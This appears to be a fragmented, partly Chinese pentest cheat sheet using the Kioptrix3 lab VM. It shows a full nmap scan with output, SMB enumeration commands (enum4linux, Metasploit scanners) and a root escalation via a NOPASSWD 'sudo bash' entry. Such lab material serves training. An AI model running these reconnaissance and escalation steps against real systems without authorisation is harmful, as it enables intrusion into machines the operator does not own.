```bash ┌──(root㉿kill3r)-[/home/kill3r] └─# ports=$(nmap -p- --min-rate=1000 -T4 192.168.150.129 | grep -oE '(^[0-9][^/tcp]*)' | tr '\n' ',') ┌──(root㉿kill3r)-[/home/kill3r] └─# nmap -p$ports -sV -sC -O 192.168.150.129 -oN nmap.txt Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-26 10:11 CST Nmap scan report for kioptrix3.com (192.168.150.129) Host is up (0.00044s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0) | ssh-hostkey: | 1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA) |_ 2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA) 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-title: Ligoat Security - Got Goat? Security ... |_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch MAC Address: 00:0C:29:9F:D9:FA (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.9 - 2.6.33 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.67 seconds
枚举### SMB 枚举> Port: 139 389 445 636
enum4linux -a/-A 127.0.0.1
1
$ enum4linux -A <ip>
MSF-SMB
1 2 3 4 5 6
# 基于SMB协议扫描版本号 msf6 > use auxiliary/scanner/smb/smb_version # 扫描共享文件 msf6 > use auxiliary/scanner/smb/smb_enumshares # 基于SMB进行用户信息枚举 msf6 > use auxiliary/scanner/smb/smb_lookupsid
Web> HTTP Web Server, Port Like: 80 443 81 8080 8443 4443 8081
loneferret@Kioptrix3:~$ sudo -l User loneferret may run the following commands on this host: (root) NOPASSWD: !/usr/bin/su (root) NOPASSWD: /usr/local/bin/ht (root) NOPASSWD: /bin/bash loneferret@Kioptrix3:~$ sudo bash root@Kioptrix3:~# id uid=0(root) gid=0(root) groups=0(root) root@Kioptrix3:~# whoami root